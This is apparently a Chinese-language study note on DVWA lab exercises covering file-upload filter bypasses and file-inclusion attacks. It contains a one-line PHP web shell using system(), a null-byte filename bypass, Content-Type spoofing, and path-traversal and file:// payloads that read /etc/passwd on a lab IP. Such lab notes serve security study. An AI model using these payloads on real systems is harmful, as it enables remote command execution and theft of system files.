文件上傳漏洞修復
1. 文件mime 類型過濾
2. 文件大小過濾
3. 文件類型過濾
4. 獲取圖像信息檢測
使用dvwa 測試
1. low級別 沒有做過濾可以直接上傳php文件。
2. 在medium 級別對上傳文件的mine 類型進行了白名單過濾,我們可以通過brupsuite 改包實現上傳
修改數據包Content-Type: application/x-php 為 Content-Type: image/jpeg
3. 在 high 級別中 增加了,類型檢測,getimagesize獲取圖像信息檢測
php5.4 以下 可以使用文件名 1.php%00.jpg 進行繞過
php5.4 以上 需要配置文件包含漏洞進行滲透
方法一:
繞過方式,在圖片文件后面 追加 惡意代碼
由於無法使用菜刀等,一般該級別可以使用php的 system 函數
<?php @system($_POST[caibao])?> # 該命令需要使用post 提交數據
上傳之后需要找到文件保存的絕對路徑,以及存在的 文件包含漏洞
方法二:
使用GIF98A 放在文件首行,聲明該文件是圖片格式
文件包含漏洞
文件包含漏洞是由於php調用本地文件產生的
low 級別 未設置過濾,可使用file 查看系統任意文件
使用 相對路徑獲取數據
http://192.168.140.131/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
使用絕對路徑獲取數據
http://192.168.140.131/dvwa/vulnerabilities/fi/?page=file:///etc/passwd
medium 級別對url 已經 相對路徑做了過濾,可以使用file 協議進行繞過(與low 絕對路徑方法相同)
high級別 使用白名單過濾只可以訪問include.php 以及file 開頭的文件,而file協議剛好也是file開頭 即可正常繞過
impossible 級別設置了更嚴謹的白名單